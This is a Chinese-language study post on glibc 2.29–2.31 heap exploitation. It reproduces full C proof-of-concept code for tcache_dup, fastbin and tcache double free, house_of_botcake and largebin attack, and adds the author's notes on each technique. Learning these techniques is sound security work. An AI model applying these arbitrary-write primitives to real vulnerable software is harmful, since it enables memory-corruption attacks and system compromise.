学习的一下高版本的libc的利用方式。
项目地址:https://github.com/StarCross-Tech/heap_exploit_2.31
tcache_dup
源代码:
1 #include<stdio.h> 2 #include<stdlib.h> 3 #include<inttypes.h> 4 int main(int argc,char **argv) 5 { 6 //this is tcache 7 /* 8 *typedef struct tcache_entry 9 { 10 struct tcache_entry *next; 11 //This field exists to detect double frees. 12 struct tcache_perthread_struct *key; 13 } tcache_entry; 14 */ 15 setbuf(stdout, 0); 16 setbuf(stderr, 0); 17 printf("tcache_dup can help you achieve "arbitrary address writes" "); 18 void *p,*q,*r,*d; 19 p = malloc(0x10); 20 q = malloc(0x10); 21 free(p); 22 printf("now , we have a tcache which is already free "); 23 printf("We can modify its next pointer! "); 24 *(uint64_t *)p = (uint64_t)q; 25 printf("now p's next pointer = q "); 26 printf("p's next = %p ,q = %p ",*(uint64_t *)p,q); 27 printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want! "); 28 r = malloc(0x10); 29 d = malloc(0x10); 30 printf("OK!, we get we want! "); 31 }
u1s1,我看完之后没有任何收获。
fastbin_double_free
源代码:
1 #include<stdio.h> 2 #include<stdlib.h> 3 #include<inttypes.h> 4 int main() 5 { 6 /*this is double free related security mechanisms in glibc 2.29. 7 * if (__builtin_expect (old == p, 0)) 8 malloc_printerr ("double free or corruption (fasttop)"); 9 * */ 10 setbuf(stdout, 0); 11 setbuf(stderr, 0); 12 printf("fastbin_double_free can help you achieve "arbitrary address writes" "); 13 14 void *q,*r,*d; 15 void *p[7]; 16 printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache! "); 17 for(int i=0;i<7;i++) 18 { 19 p[i] = malloc(0x10); 20 printf("p[%d] ===> %p ",i,p[i]); 21 } 22 q = malloc(0x10); 23 r = malloc(0x10); 24 printf("now , we need to free 7 heap blocks to populate tcache linked list! "); 25 for(int i=0;i<7;i++) 26 { 27 printf("now free p[%d] ===> %p ",i,p[i]); 28 free(p[i]); 29 p[i] = 0; 30 } 31 printf("now ,Our free heap blocks will be put into fastbin "); 32 printf("now free q ===> %p ",q); 33 free(q); 34 printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 ! "); 35 printf("now free r ===> %p ",r); 36 free(r); 37 printf("now we free q again! "); 38 printf("now free q ===> %p ",q); 39 free(q); 40 printf("OK,we already achieve double free in glibc 2.29.! "); 41 }
利用思路是,先free掉7个chunk来填充tcache,然后就和2.23的double free一样,free(a),free(b),free(a)来达到任意地址写。
tcache_double_free
源代码:
1 #include<stdio.h> 2 #include<stdlib.h> 3 #include<inttypes.h> 4 int main(int argc,char **argv) 5 { 6 //glibc 2.29 Security Mechanism 7 /* 8 *if (__glibc_unlikely (e->key == tcache)) 9 { 10 tcache_entry *tmp; 11 LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); 12 for (tmp = tcache->entries[tc_idx]; 13 tmp; 14 tmp = tmp->next) 15 if (tmp == e) 16 malloc_printerr ("free(): double free detected in tcache 2"); 17 // If we get here, it was a coincidence. We've wasted a 18 few cycles, but don't abort. 19 } 20 */ 21 setbuf(stdout, 0); 22 setbuf(stderr, 0); 23 printf("tcache_double_free can help you achieve "arbitrary address writes" "); 24 void *p,*q,*r,*d; 25 p = malloc(0x10); 26 free(p); 27 printf("now we already free p = %p ",p); 28 printf("we can change its key to help us achieve double free "); 29 printf("its key = %p,now ",*(uint64_t *)(p+8)); 30 *(uint64_t *)(p + 8) = 0x122220; 31 printf("after we change,its key = %p ",*(uint64_t *)(p+8)); 32 printf("so we can achieve double free!"); 33 free(p); 34 printf("now we already achieve double free in glibc 2.29"); 35 return 0; 36 }
在2.29及以上,chunk被free后存在tache时,为了检测是否被double free引入一个key值。再具体的东西我也不懂(菜狗不想看glibc源码)。
这个例子的利用思路就是,free(a),然后修改a这个chunk的key值,然后就可以继续free(a)了,然后就可以实现任意写了。
house_of_botcake
源代码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <inttypes.h> 4 5 static uint64_t victim = 0; 6 int main() 7 { 8 setbuf(stdin, NULL); 9 setbuf(stdout, NULL); 10 11 printf("Inspired by how2heap "); 12 printf("You can use this technique to create chunk overlap, only relies on double free. "); 13 14 printf(" 1. Alloc 7 chunks to fill up tcache list "); 15 16 char *x[7]; 17 for(int i=0; i<7; i++){ 18 x[i] = malloc(0x100); 19 } 20 21 printf(" 2. Prepare two chunk with the same size as befor, for consolidation in unsortedbin "); 22 23 char *a = malloc(0x100); 24 char *b = malloc(0x100); 25 26 printf("Padding chunk to prevent consolidation "); 27 malloc(0x10); 28 29 printf(" 3. Fill in the tcache list and consolidation two prepared chunk in unsortedbin "); 30 for(int i=0; i<7; i++){ 31 free(x[i]); 32 } 33 34 free(b); 35 free(a); 36 37 printf(" 4. Get a chunk from tcache list and make chunk overlap "); 38 malloc(0x100); 39 40 free(b); 41 printf("Now, chunk %p will be freed into tcache list ", b); 42 43 char* res = malloc(0x130); 44 printf("Size is not matched with tcache list, so get chunk from unsortedbin, which makes chunk overlap "); 45 46 *(uint64_t*)(res+0x110) = (uint64_t)(&victim); 47 48 printf("Now, you can control tcache list to alloc arbitrary address "); 49 malloc(0x100); 50 51 char *target = malloc(0x100); 52 printf("Before attack, victim's value: 0x%lx ", victim); 53 *(uint64_t*)target = 0xdeadbeef; 54 printf("After attack, victim's value: 0x%lx ", victim); 55 56 return 0; 57 }
利用double free构造堆块重叠。
首先将tcache填充满,然后free两个同样大小的堆块a和b,让a和b合并。将tcache中的一个chunk申请出来,然后再次free掉b堆块,此时b堆块既在unsortedbin中,又在tcache链中。
修改b堆块的fd指针为victim_addr,申请两次chunk,第二次就申请到victim_addr了。
largebin_attack
源代码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <inttypes.h> 4 5 static uint64_t victim; 6 7 int main() 8 { 9 setbuf(stdout, 0); 10 setbuf(stderr, 0); 11 12 printf("You can use this technique to write a big number to arbitrary address "); 13 char *p1, *p2, *p3; 14 printf(" 1. Create two chunk, and free the larger one into largebin list "); 15 16 p1 = malloc(0x458); 17 malloc(0x18); 18 p2 = malloc(0x448); 19 malloc(0x18); 20 21 free(p1); 22 //trigger 23 malloc(0x600); 24 25 printf("Now the chunk %p is in largebin ", p1); 26 27 printf(" 2. Free the smaller one into unsortedbin, and change chunk's bk_nextsize in largebin to &victim-0x20 "); 28 free(p2); 29 printf("Now the chunk %p is in unsortedbin ", p2); 30 31 *(uint64_t*)(p1+0x18) = (uint64_t)(&victim)-0x20; 32 33 printf(" 3. Alloc a size not match the the chunk size in unsortedbin "); 34 printf("It will trigger largebin attack, write a big number to victim "); 35 printf("Before attack, victim's value: 0x%lx ", victim); 36 malloc(0x68); 37 printf("After attack, victim's value: 0x%lx ", victim); 38 39 return 0; 40 }
创建两个大于0x400的chunk(a)和chunk(b),先将chunk(a)释放掉,让chunk(a)先落入unsortedbin中,再创建size比这个chunk(a)大的堆块,此时的chunk(a)就会进入largebins。
将chunk(b)释放掉,将chunk(a)的bk_nextsize修改为victim-0x20,此时chunk(b)在unsortedbin中,申请一个比chunk(b)小的chunk,就会触发largebin attack,在victim处留下一个较大的数。